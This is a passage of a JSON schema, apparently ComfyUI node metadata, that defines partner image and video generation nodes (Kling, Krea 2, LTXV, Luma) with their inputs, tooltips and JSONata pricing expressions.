"is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingFirstLastFrameNode", "display_name": "Kling 3.0 First-Last-Frame to Video", "description": "Generate videos with Kling V3 using first and last frames.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model.resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rates := {\n \"4k\": {\"off\": 0.42, \"on\": 0.42},\n \"1080p\": {\"off\": 0.112, \"on\": 0.168},\n \"720p\": {\"off\": 0.084, \"on\": 0.126}\n };\n $res := $lookup(widgets, \"model.resolution\");\n $audio := widgets.generate_audio ? \"on\" : \"off\";\n $rate := $lookup($lookup($rates, $res), $audio);\n {\"type\":\"usd\",\"usd\": $rate * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingAvatarNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Avatar reference image. Width and height must be at least 300px. Aspect ratio must be between 1:2.5 and 2.5:1."}], "sound_file": ["AUDIO", {"tooltip": "Audio input. Must be between 2 and 300 seconds in duration."}], "mode": ["COMBO", {"multiselect": false, "options": ["std", "pro"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"prompt": ["STRING", {"tooltip": "Optional prompt to define avatar actions, emotions, and camera movements.", "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "sound_file", "mode", "seed"], "optional": ["prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingAvatarNode", "display_name": "Kling Avatar 2.0", "description": "Generate broadcast-style digital human videos from a single photo and an audio file.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"std\": 0.056, \"pro\": 0.112};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.mode), \"format\":{\"suffix\":\"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Krea2ImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the image.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Krea 2 Medium is best for expressive illustrations; Krea 2 Large is best for expressive photorealism.", "options": [{"key": "Krea 2 Medium", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output aspect ratio.", "multiselect": false, "options": ["1:1", "4:3", "3:2", "16:9", "2.35:1", "4:5", "2:3", "9:16"]}], "resolution": ["COMBO", {"tooltip": "Resolution scale.", "multiselect": false, "options": ["1K"]}], "creativity": ["COMBO", {"tooltip": "Prompt interpretation strength: raw stays closest to the prompt; high is most creative.", "default": "medium", "multiselect": false, "options": ["raw", "low", "medium", "high"]}]}, "optional": {"moodboard_id": ["STRING", {"tooltip": "Optional Krea moodboard UUID (e.g. from the Krea website). Leave empty to disable. Only one moodboard is supported per request.", "default": "", "multiline": false}], "moodboard_strength": ["FLOAT", {"tooltip": "Moodboard influence; ignored when moodboard_id is empty.", "default": 0.35, "min": -0.5, "max": 1.5, "step": 0.05}], "style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional chain of style references (max 10) from Krea 2 Style Reference nodes."}]}}}, {"key": "Krea 2 Medium Turbo", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output aspect ratio.", "multiselect": false, "options": ["1:1", "4:3", "3:2", "16:9", "2.35:1", "4:5", "2:3", "9:16"]}], "resolution": ["COMBO", {"tooltip": "Resolution scale.", "multiselect": false, "options": ["1K"]}], "creativity": ["COMBO", {"tooltip": "Prompt interpretation strength: raw stays closest to the prompt; high is most creative.", "default": "medium", "multiselect": false, "options": ["raw", "low", "medium", "high"]}]}, "optional": {"moodboard_id": ["STRING", {"tooltip": "Optional Krea moodboard UUID (e.g. from the Krea website). Leave empty to disable. Only one moodboard is supported per request.", "default": "", "multiline": false}], "moodboard_strength": ["FLOAT", {"tooltip": "Moodboard influence; ignored when moodboard_id is empty.", "default": 0.35, "min": -0.5, "max": 1.5, "step": 0.05}], "style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional chain of style references (max 10) from Krea 2 Style Reference nodes."}]}}}, {"key": "Krea 2 Large", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output aspect ratio.", "multiselect": false, "options": ["1:1", "4:3", "3:2", "16:9", "2.35:1", "4:5", "2:3", "9:16"]}], "resolution": ["COMBO", {"tooltip": "Resolution scale.", "multiselect": false, "options": ["1K"]}], "creativity": ["COMBO", {"tooltip": "Prompt interpretation strength: raw stays closest to the prompt; high is most creative.", "default": "medium", "multiselect": false, "options": ["raw", "low", "medium", "high"]}]}, "optional": {"moodboard_id": ["STRING", {"tooltip": "Optional Krea moodboard UUID (e.g. from the Krea website). Leave empty to disable. Only one moodboard is supported per request.", "default": "", "multiline": false}], "moodboard_strength": ["FLOAT", {"tooltip": "Moodboard influence; ignored when moodboard_id is empty.", "default": 0.35, "min": -0.5, "max": 1.5, "step": 0.05}], "style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional chain of style references (max 10) from Krea 2 Style Reference nodes."}]}}}]}], "seed": ["INT", {"tooltip": "Random seed for reproducibility.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Krea2ImageNode", "display_name": "Krea 2 Image", "description": "Generate images via Krea 2 \u2014 pick Medium (expressive illustrations) or Large (expressive photorealism). Supports an optional moodboard and up to 10 chained image style references.", "python_module": "comfy_api_nodes.nodes_krea", "category": "partner/image/Krea", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.moodboard_id", "type": "STRING"}], "inputs": ["model.style_reference"], "input_groups": []}, "expr": "\n (\n $rates := {\n \"krea 2 medium turbo\": {\"text\": 0.015, \"style\": 0.0175, \"moodboard\": 0.02},\n \"krea 2 medium\": {\"text\": 0.03, \"style\": 0.035, \"moodboard\": 0.04},\n \"krea 2 large\": {\"text\": 0.06, \"style\": 0.065, \"moodboard\": 0.07}\n };\n $r := $lookup($rates, widgets.model);\n $hasMoodboard := $length($lookup(widgets, \"model.moodboard_id\")) > 0;\n $hasStyle := $lookup(inputs, \"model.style_reference\").connected;\n $usd := $hasMoodboard ? $r.moodboard : ($hasStyle ? $r.style : $r.text);\n {\"type\":\"usd\",\"usd\": $usd}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Krea2StyleReferenceNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Reference image whose style influences the generation."}], "strength": ["FLOAT", {"tooltip": "Reference strength; negative values invert the style influence.", "default": 1.0, "min": -2.0, "max": 2.0, "step": 0.05}]}, "optional": {"style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional incoming chain of style references; this node appends one more."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["image", "strength"], "optional": ["style_reference"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id"]}, "is_input_list": false, "output": ["KREA_STYLE_REF"], "output_is_list": [false], "output_name": ["style_reference"], "output_tooltips": [null], "output_matchtypes": null, "name": "Krea2StyleReferenceNode", "display_name": "Krea 2 Style Reference", "description": "Add an image style reference to a Krea 2 generation. Chain multiple Krea 2 Style Reference nodes (max 10) and feed the final `style_reference` output into Krea 2 Image. Each image is uploaded to ComfyAPI storage and passed as URL.", "python_module": "comfy_api_nodes.nodes_krea", "category": "partner/image/Krea", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LtxvApiTextToVideo": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["LTX-2 (Pro)", "LTX-2 (Fast)"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["COMBO", {"default": 8, "multiselect": false, "options": [6, 8, 10, 12, 14, 16, 18, 20]}], "resolution": ["COMBO", {"multiselect": false, "options": ["1920x1080", "2560x1440", "3840x2160"]}], "fps": ["COMBO", {"default": 25, "multiselect": false, "options": [25, 50]}]}, "optional": {"generate_audio": ["BOOLEAN", {"tooltip": "When true, the generated video will include AI-generated audio matching the scene.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "duration", "resolution", "fps"], "optional": ["generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LtxvApiTextToVideo", "display_name": "LTXV Text To Video", "description": "Professional-quality videos with customizable duration and resolution.", "python_module": "comfy_api_nodes.nodes_ltxv", "category": "partner/video/LTXV", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"ltx-2 (pro)\": {\"1920x1080\":0.06,\"2560x1440\":0.12,\"3840x2160\":0.24},\n \"ltx-2 (fast)\": {\"1920x1080\":0.04,\"2560x1440\":0.08,\"3840x2160\":0.16}\n };\n $modelPrices := $lookup($prices, $lowercase(widgets.model));\n $pps := $lookup($modelPrices, widgets.resolution);\n {\"type\":\"usd\",\"usd\": $pps * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LtxvApiImageToVideo": {"input": {"required": {"image": ["IMAGE", {"tooltip": "First frame to be used for the video."}], "model": ["COMBO", {"multiselect": false, "options": ["LTX-2 (Pro)", "LTX-2 (Fast)"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["COMBO", {"default": 8, "multiselect": false, "options": [6, 8, 10, 12, 14, 16, 18, 20]}], "resolution": ["COMBO", {"multiselect": false, "options": ["1920x1080", "2560x1440", "3840x2160"]}], "fps": ["COMBO", {"default": 25, "multiselect": false, "options": [25, 50]}]}, "optional": {"generate_audio": ["BOOLEAN", {"tooltip": "When true, the generated video will include AI-generated audio matching the scene.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "model", "prompt", "duration", "resolution", "fps"], "optional": ["generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LtxvApiImageToVideo", "display_name": "LTXV Image To Video", "description": "Professional-quality videos with customizable duration and resolution based on start image.", "python_module": "comfy_api_nodes.nodes_ltxv", "category": "partner/video/LTXV", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"ltx-2 (pro)\": {\"1920x1080\":0.06,\"2560x1440\":0.12,\"3840x2160\":0.24},\n \"ltx-2 (fast)\": {\"1920x1080\":0.04,\"2560x1440\":0.08,\"3840x2160\":0.16}\n };\n $modelPrices := $lookup($prices, $lowercase(widgets.model));\n $pps := $lookup($modelPrices, widgets.resolution);\n {\"type\":\"usd\",\"usd\": $pps * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["photon-1", "photon-flash-1"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["1:1", "16:9", "9:16", "4:3", "3:4", "21:9", "9:21"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "style_image_weight": ["FLOAT", {"tooltip": "Weight of style image. Ignored if no style_image provided.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}, "optional": {"image_luma_ref": ["LUMA_REF", {"tooltip": "Luma Reference node connection to influence generation with input images; up to 4 images can be considered."}], "style_image": ["IMAGE", {"tooltip": "Style reference image; only 1 image will be used."}], "character_image": ["IMAGE", {"tooltip": "Character reference images; can be a batch of multiple, up to 4 images can be considered."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "aspect_ratio", "seed", "style_image_weight"], "optional": ["image_luma_ref", "style_image", "character_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageNode", "display_name": "Luma Text to Image", "description": "Generates images synchronously based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m,\"photon-flash-1\")\n ? {\"type\":\"usd\",\"usd\":0.0027}\n : $contains($m,\"photon-1\")\n ? {\"type\":\"usd\",\"usd\":0.0104}\n : {\"type\":\"usd\",\"usd\":0.0246}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageModifyNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "image_weight": ["FLOAT", {"tooltip": "Weight of the image; the closer to 1.0, the less the image will be modified.", "default": 0.1, "min": 0.0, "max": 0.98, "step": 0.01}], "model": ["COMBO", {"multiselect": false, "options": ["photon-1", "photon-flash-1"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "image_weight", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageModifyNode", "display_name": "Luma Image to Image", "description": "Modifies images synchronously based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m,\"photon-flash-1\")\n ? {\"type\":\"usd\",\"usd\":0.0027}\n : $contains($m,\"photon-1\")\n ? {\"type\":\"usd\",\"usd\":0.0104}\n : {\"type\":\"usd\",\"usd\":0.0246}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["ray-2", "ray-flash-2", "ray-1-6"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["1:1", "16:9", "9:16", "4:3", "3:4", "21:9", "9:21"]}], "resolution": ["COMBO", {"default": "540p", "multiselect": false, "options": ["540p", "720p", "1080p", "4k"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "9s"]}], "loop": ["BOOLEAN", {"default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"luma_concepts": ["LUMA_CONCEPTS", {"tooltip": "Optional Camera Concepts to dictate camera motion via the Luma Concepts node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "aspect_ratio", "resolution", "duration", "loop", "seed"], "optional": ["luma_concepts"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaVideoNode", "display_name": "Luma Text to Video", "description": "Generates videos synchronously based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"ray-flash-2\": {\n \"5s\": {\"4k\":3.13,\"1080p\":0.79,\"720p\":0.34,\"540p\":0.2},\n \"9s\": {\"4k\":5.65,\"1080p\":1.42,\"720p\":0.61,\"540p\":0.36}\n },\n \"ray-2\": {\n \"5s\": {\"4k\":9.11,\"1080p\":2.27,\"720p\":1.02,\"540p\":0.57},\n \"9s\": {\"4k\":16.4,\"1080p\":4.1,\"720p\":1.83,\"540p\":1.03}\n }\n };\n\n $m := widgets.model;\n $d := widgets.duration;\n $r := widgets.resolution;\n\n $modelKey :=\n $contains($m,\"ray-flash-2\") ? \"ray-flash-2\" :\n $contains($m,\"ray-2\") ? \"ray-2\" :\n $contains($m,\"ray-1-6\") ? \"ray-1-6\" :\n \"other\";\n\n $durKey := $contains($d,\"5s\") ? \"5s\" : $contains($d,\"9s\") ? \"9s\" : \"\";\n $resKey :=\n $contains($r,\"4k\") ? \"4k\" :\n $contains($r,\"1080p\") ? \"1080p\" :\n $contains($r,\"720p\") ? \"720p\" :\n $contains($r,\"540p\") ? \"540p\" : \"\";\n\n $modelPrices := $lookup($p, $modelKey);\n $durPrices := $lookup($modelPrices, $durKey);\n $v := $lookup($durPrices, $resKey);\n\n $price :=\n ($modelKey = \"ray-1-6\") ? 0.5 :\n ($modelKey = \"other\") ? 0.79 :\n ($exists($v) ? $v : 0.79);\n\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["ray-2", "ray-flash-2", "ray-1-6"]}], "resolution": ["COMBO", {"default": "540p", "multiselect": false, "options": ["540p", "720p", "1080p", "4k"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "9s"]}], "loop": ["BOOLEAN", {"default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"first_image": ["IMAGE", {"tooltip": "First frame of generated video."}], "last_image": ["IMAGE", {"tooltip": "Last frame of generated video."}], "luma_concepts": ["LUMA_CONCEPTS", {"tooltip": "Optional Camera Concepts to dictate camera motion via the Luma Concepts node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "resolution", "duration", "loop", "seed"], "optional": ["first_image", "last_image", "luma_concepts"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageToVideoNode", "display_name": "Luma Image to Video", "description": "Generates videos synchronously based on prompt, input images, and output_size.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"ray-flash-2\": {\n \"5s\": {\"4k\":3.13,\"1080p\":0.79,\"720p\":0.34,\"540p\":0.2},\n \"9s\": {\"4k\":5.65,\"1080p\":1.42,\"720p\":0.61,\"540p\":0.36}\n },\n \"ray-2\": {\n \"5s\": {\"4k\":9.11,\"1080p\":2.27,\"720p\":1.02,\"540p\":0.57},\n \"9s\": {\"4k\":16.4,\"1080p\":4.1,\"720p\":1.83,\"540p\":1.03}\n }\n };\n\n $m := widgets.model;\n $d := widgets.duration;\n $r := widgets.resolution;\n\n $modelKey :=\n $contains($m,\"ray-flash-2\") ? \"ray-flash-2\" :\n $contains($m,\"ray-2\") ? \"ray-2\" :\n $contains($m,\"ray-1-6\") ? \"ray-1-6\" :\n \"other\";\n\n $durKey := $contains($d,\"5s\") ? \"5s\" : $contains($d,\"9s\") ? \"9s\" : \"\";\n $resKey :=\n $contains($r,\"4k\") ? \"4k\" :\n $contains($r,\"1080p\") ? \"1080p\" :\n $contains($r,\"720p\") ? \"720p\" :\n $contains($r,\"540p\") ? \"540p\" : \"\";\n\n $modelPrices := $lookup($p, $modelKey);\n $durPrices := $lookup($modelPrices, $durKey);\n $v := $lookup($durPrices, $resKey);\n\n $price :=\n ($modelKey = \"ray-1-6\") ? 0.5 :\n ($modelKey = \"other\") ? 0.79 :\n ($exists($v) ? $v : 0.79);\n\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaReferenceNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Image to use as reference."}], "weight": ["FLOAT", {"tooltip": "Weight of image reference.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}, "optional": {"luma_ref": ["LUMA_REF", {}]}}, "input_order": {"required": ["image", "weight"], "optional": ["luma_ref"]}, "is_input_list": false, "output": ["LUMA_REF"], "output_is_list": [false], "output_name": ["luma_ref"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaReferenceNode", "display_name": "Luma Reference", "description": "Holds an image and weight for use with Luma Generate Image node.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaConceptsNode": {"input": {"required": {"concept1": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}], "concept2": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}], "concept3": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}], "concept4": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}]}, "optional": {"luma_concepts": ["LUMA_CONCEPTS", {"tooltip": "Optional Camera Concepts to add to the ones chosen here."}]}}, "input_order": {"required": ["concept1", "concept2", "concept3", "concept4"], "optional": ["luma_concepts"]}, "is_input_list": false, "output": ["LUMA_CONCEPTS"], "output_is_list": [false], "output_name": ["luma_concepts"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaConceptsNode", "display_name": "Luma Concepts", "description": "Camera Concepts for use with Luma Text to Video and Luma Image to Video nodes.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageNode2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired image. 1\u20136000 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for generation.", "options": [{"key": "uni-1", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output image aspect ratio. 'auto' lets the model pick based on the prompt.", "default": "auto", "multiselect": false, "options": ["auto", "3:1", "2:1", "16:9", "3:2", "1:1", "2:3", "9:16", "1:2", "1:3"]}], "style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 9 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}]}}}, {"key": "uni-1-max", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output image aspect ratio. 'auto' lets the model pick based on the prompt.", "default": "auto", "multiselect": false, "options": ["auto", "3:1", "2:1", "16:9", "3:2", "1:1", "2:3", "9:16", "1:2", "1:3"]}], "style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 